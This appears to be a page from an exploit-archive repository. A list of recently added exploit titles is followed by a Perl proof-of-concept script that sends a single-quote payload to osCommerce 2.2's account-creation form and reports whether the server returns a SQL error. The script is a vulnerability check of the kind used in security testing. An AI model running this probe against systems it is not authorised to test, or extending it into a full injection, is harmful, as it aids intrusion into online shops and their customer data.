ffa8e63e25
10 changes to exploits/shellcodes Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined JavaScript Functions Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches Microsoft Edge Chakra - 'asm.js' Out-of-Bounds Read Microsoft Windows - 'nt!NtQuerySystemInformation (information class 138_ QueryMemoryTopologyInformation)' Kernel Pool Memory Disclosure Android - Inter-Process munmap due to Race Condition in ashmem Microsoft Windows - 'nt!NtQueryInformationProcess (information class 76_ QueryProcessEnergyValues)' Kernel Stack Memory Disclosure Microsoft Edge Chakra JIT - Escape Analysis Bug Microsoft Windows - Local XPS Print Spooler Sandbox Escape Commvault Communications Service (cvd) - Command Injection (Metasploit) osCommerce 2.2 - SQL Injection
58 lines
No EOL
2 KiB
Perl
Executable file
58 lines
No EOL
2 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#source: http://www.securityfocus.com/bid/9211/info
|
|
#
|
|
#It has been reported that one of the scripts included with osCommerce fails to validate user-supplied input, rendering it vulnerable to a SQL injection attack. The script in question is used to verify account details during the new user registration process and has the filename "create_account_process.php". It may be possible for attackers to manipulate the query to corrupt data in the database or, possibly, gain access on the underlying host (through, for example, stored procedures or vulnerabilities in the database server).
|
|
#
|
|
#
|
|
|
|
############################################################################
|
|
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]
|
|
############################################################################
|
|
|
|
use LWP::UserAgent;
|
|
|
|
############################################################################
|
|
# Use this script to test if your shop is vulnerable. Results are obvious :)
|
|
############################################################################
|
|
|
|
$ua = new LWP::UserAgent;
|
|
$ua->agent("Mozilla/4.0" . $ua->agent);
|
|
|
|
if (!$ARGV[0]) {
|
|
&usage;
|
|
}
|
|
|
|
$host=$ARGV[0];
|
|
|
|
print "Trying $host ....\n";
|
|
|
|
my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
|
|
$req->content_type('application/x-www-form-urlencoded');
|
|
$req->content("action=process&country=%27");
|
|
my $res = $ua->request($req);
|
|
$pattern = "You have an error in your SQL syntax";
|
|
$_ = $res->content;
|
|
|
|
print "\n" x 3;
|
|
|
|
if (/$pattern/) {
|
|
print "Host Is Vulnerable!\n";
|
|
print "Download The Latest osCommerce ...\n";
|
|
print "http://www.oscommerce.com/downloads\n";
|
|
} else {
|
|
print "Host NOT Vulnerable\n";
|
|
}
|
|
|
|
print "\n" x 3;
|
|
|
|
exit;
|
|
|
|
sub usage {
|
|
|
|
print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org ]\n";
|
|
print "--------------------------------------------------------------------------\n";
|
|
print "perl ossqlin.pl \"path to shop\" ex: ossqlin.pl www.mywebstore.com/catalog\n";
|
|
|
|
exit;
|
|
|
|
} |